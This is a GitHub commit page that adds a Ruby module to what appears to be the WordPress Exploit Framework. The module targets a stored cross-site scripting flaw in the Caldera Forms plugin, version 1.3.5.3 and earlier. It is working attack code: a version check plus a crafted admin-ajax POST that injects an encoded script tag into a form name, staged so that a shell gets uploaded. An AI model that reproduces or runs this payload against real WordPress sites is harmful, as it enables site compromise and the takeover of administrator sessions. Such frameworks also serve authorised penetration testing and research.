Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 76ecd5d

Browse files
committed
Add Caldera Forms <= 1.3.5.3 XSS module
1 parent 685a793 commit 76ecd5d

File tree

1 file changed

+36
-0
lines changed

1 file changed

+36
-0
lines changed
Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
class Wpxf::Exploit::CalderaFormsStoredXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::StagedReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Caldera Forms <= 1.3.5.3 Stored XSS Shell Upload',
9+
author: [
10+
'Jurgen Kloosterman', # Disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8650'],
15+
['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_caldera_forms_wordpress_plugin.html']
16+
],
17+
date: 'Nov 08 2016'
18+
)
19+
end
20+
21+
def check
22+
check_plugin_version_from_readme('caldera-forms', '1.3.5.4')
23+
end
24+
25+
def initial_script
26+
create_basic_post_script(
27+
wordpress_url_admin_ajax,
28+
'before' => 'serialize_modal_form',
29+
'data' => "name=%3Cscript%3E#{xss_ascii_encoded_include_script}%3C%2Fscript%3E",
30+
'template' => '0',
31+
'callback' => 'new_form_redirect',
32+
'modalAutoclose' => 'new_form',
33+
'action' => 'create_form'
34+
)
35+
end
36+
end

0 commit comments

Comments
 (0)